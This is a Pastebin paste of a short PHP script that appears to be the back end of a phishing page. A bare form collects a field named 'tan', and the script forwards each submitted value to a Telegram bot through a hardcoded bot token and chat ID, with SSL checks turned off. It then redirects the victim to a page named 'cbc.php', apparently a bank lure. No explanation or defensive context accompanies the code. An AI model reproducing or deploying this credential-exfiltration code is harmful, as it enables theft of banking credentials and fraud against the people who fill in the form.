Advertisement
redhat99

Untitled

Jun 4th, 2023 (edited)
26
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.96 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting();
  4. if (isset($_POST['submit'])) {
  5. $tan = $_POST['tan'];
  6. $message ="username : \n ".$tan."";
  7. $botToken="1694224755:AAEKMQOfWWl3LUN6R4BI7MFM4k1bynKnxj0";
  8. $chatId="1300035109";
  9. $website="https://api.telegram.org/bot".$botToken;
  10. $params=[
  11. 'chat_id'=>$chatId,
  12. 'text'=>$message,
  13. ];
  14. $ch = curl_init($website . '/sendMessage');
  15. curl_setopt($ch, CURLOPT_HEADER, false);
  16. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  17. curl_setopt($ch, CURLOPT_POST, 1);
  18. curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
  19. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  20. $result = curl_exec($ch);
  21. curl_close($ch);
  22. header('location: cbc.php?client=email');
  23. }else{
  24. header('location: index.php?client=email');
  25. }
  26.  
  27. ?>
  28. <!DOCTYPE html>
  29. <html>
  30. <head>
  31. <title></title>
  32. </head>
  33. <body>
  34. <form action="#" method="POST"><input type="text" name="tan"> <input type="submit" name="submit"></form>
  35. </body>
  36. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement